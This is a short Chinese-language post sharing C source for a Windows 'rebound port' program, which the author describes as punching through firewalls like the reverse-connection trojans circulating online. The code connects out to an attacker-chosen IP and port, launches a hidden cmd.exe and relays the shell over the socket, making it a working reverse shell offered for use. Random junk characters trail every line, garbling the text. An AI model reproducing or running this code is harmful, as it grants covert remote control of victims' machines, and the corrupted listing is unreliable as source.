这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 }>vf(9sF`
.5+*,+-
/* ============================== ;2"#X2B
Rebound port in Windows NT A:Z$i5%'
By wind,2006/7 3ThCY`
===============================*/ 7
}`c:u~j
#include qJ QE|VM&
#include |B&KT
G5W6P7-<X
#pragma comment(lib,"wsock32.lib") UeB8|z
}5gAxR,
void OutputShell(); z)Xf6&
SOCKET sClient; usiv`.
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; sGIY\%
:A35?9E?
void main(int argc,char **argv) zHi+I7
{ d=%:rLm$
WSADATA stWsaData; ;=X6pK
int nRet; e:H7ht:
SOCKADDR_IN stSaiClient,stSaiServer; CC1\0$ /
eUvIO+av
if(argc != 3) wH1E7LY|R
{ `<ITLT
printf("Useage:\n\rRebound DestIP DestPort\n"); <1[W Nj2[
return; Q g=k@
} z'a#lA.$}
G)\s{qk
WSAStartup(MAKEWORD(2,2),&stWsaData); c;_GZ}8
?(GMe>
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WT Pp/Nq'
GSg|Gz""J0
stSaiClient.sin_family = AF_INET; /0QGU4=
stSaiClient.sin_port = htons(0); dw,Nlf~*0
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 2SU G/-P#
Q\G8R^9j p
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Izq]nR
{ "6/`
printf("Bind Socket Failed!\n"); %C=^
h1t%
return; "sF&WuW|
} P_+S;(QQ~d
<mlQn?u
stSaiServer.sin_family = AF_INET; ]bO{001y,
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 9_'xq.uP
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); @`2<^-r\
N#{d_v^H?d
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) LXj2gsURu%
{ >nmby|XtW
printf("Connect Error!"); E",s]
return; BMU}NZA
} <{m!.9g9
OutputShell(); 4s/4z@3a
} ^
ab%Mbb
u`Djle
void OutputShell() VKy:e.
{ B`OggdE
char szBuff[1024]; 9Ue3
%?~c
SECURITY_ATTRIBUTES stSecurityAttributes; 1 GUF,A+_O
OSVERSIONINFO stOsversionInfo; r$=MBeT
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; a?6
r4u0
STARTUPINFO stStartupInfo; x.ZV<tDi7
char *szShell; jEfrxlj
PROCESS_INFORMATION stProcessInformation; .!0),KmkK
unsigned long lBytesRead; @K36?d]e
a$Eqe_
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); F7J-@T<
&,+G}
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); `*e',j2}UU
stSecurityAttributes.lpSecurityDescriptor = 0; 5sC{5LJzC
stSecurityAttributes.bInheritHandle = TRUE; q /EK]B
k: PO"<-U
'5wa"/ ?w
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); uRG0}>]|U
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); [P)'LY6F
=-jkp
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); (V@g?|LZ
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &'V_80vA
stStartupInfo.wShowWindow = SW_HIDE; x|*v(,7b]!
stStartupInfo.hStdInput = hReadPipe; x{<WJ|'B
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; $7gzu4f
I z~#G6]M
GetVersionEx(&stOsversionInfo); aB<~T[H%h
B, nCx=\S
switch(stOsversionInfo.dwPlatformId) gT-'#K2qT
{ bs
U$mtW
case 1: 1C+Y|p?KA
szShell = "command.com"; `kIzT!HX
break; yXS ~PG
default: }MY7<sMDOy
szShell = "cmd.exe"; wxpD{P
break; 6~?7CK
} /S1EQ%_
r<V]MwO=
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); VaQ>g*(I
;%2/
send(sClient,szMsg,77,0); m8$6FN
while(1) 7CYu"+Ea
{ &0SGAJlec
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); UTKS<.q
if(lBytesRead) 3sc5meSu'
{ G40,KCa
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); NUiZ!&
send(sClient,szBuff,lBytesRead,0); n )YNt
} cyA|6Ltg%
else CeS8I-,
{ }!\NdQs
lBytesRead=recv(sClient,szBuff,1024,0); E4[
|=<
if(lBytesRead<=0) break; Xhtc0\0"(
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); *c7kB}/
} %]nYv#K
} D|Wekhm
]B=B@UO@.
return; rZ 9bz}K
}